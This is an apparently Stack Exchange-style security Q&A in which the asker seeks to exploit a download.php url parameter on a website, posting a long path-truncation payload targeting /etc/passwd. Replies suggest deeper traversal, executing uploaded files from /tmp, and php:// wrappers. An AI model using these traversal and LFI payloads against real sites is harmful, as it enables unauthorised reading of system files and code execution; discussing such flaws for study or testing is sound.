0

I found a website with a download.php file which can get different values in the url parameter (e.g. www.example.com/download.php?url=value). When I give ../../ as a value for the url it throws me the following error on the page:

Warning: realpath() [function.realpath]: open_basedir restriction in
effect. File(/srv) is not within the allowed path(s): 
(.:/srv/www/example.com/:/tmp/:/usr/local/php526/lib/php/) 
in /srv/www/example.com/download.php on line 5

I searched for the vulnerabilities of the PHP realpath() function in PHP 5.26 or below and I found an article about PHP's file handling system and attacks using this method.

I would like to access the /etc/passwd/ directory as a file so I could get more information. I have tried using a url which is longer than 4096 bytes but it does not seem to be truncated and happens nothing.

www.example.com/download.php?url=../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.....<...>.php

curl --head website.com returns

HTTP/1.1 200 OK
Date: Mon, 30 Jul 2018 11:39:01 GMT
Server: Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/0.9.8h
Content-Type: text/html

How could I exploit and bypass the website using LFI or Path Truncation? Or what is the best method to take advantage of this error?

  • Did you try to execute inside the local folder? – Mirsad Jul 30 '18 at 12:29
  • You mean www.example.com/download.php?url=../../local/etc/passwd/././ ... – squancy Jul 30 '18 at 12:42
  • The truncation bug has to be correctly aligned, and you’re not traversing up enough directories. – wireghoul Aug 1 '18 at 12:31
1

The error message is quite clear: File(/srv) is not within the allowed path.
So - no, you cannot access the /etc/passwd/ directory.

The answer you mentioned explicitly states

No white/black lists, open_base_dir or any restrict access configuration

0

Are you sure this is a Local File Include and not a path traversal or arbitrary file read vulnerability? LFI allows code execution which should let you run commands that are not bound by PHP’s path restrictions.

If it is an include call you may be able to execute an uploaded file from within /tmp since that path is allowed. Although you would need to fix your payload, you need to go up 3 directories, and you’re only going up 2. Otherwise using wrappers like php:// may be possible.

A simple check to see if it is LFI can usually be done by trying to read the download.php script itself. A script which includes itself should segfault or error out. If however you receive PHP source, then the file is read instead of executed and it not LFI, but traversal or arbitrary read. In this case you could leak all the application source code and look for other vulnerabilities.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.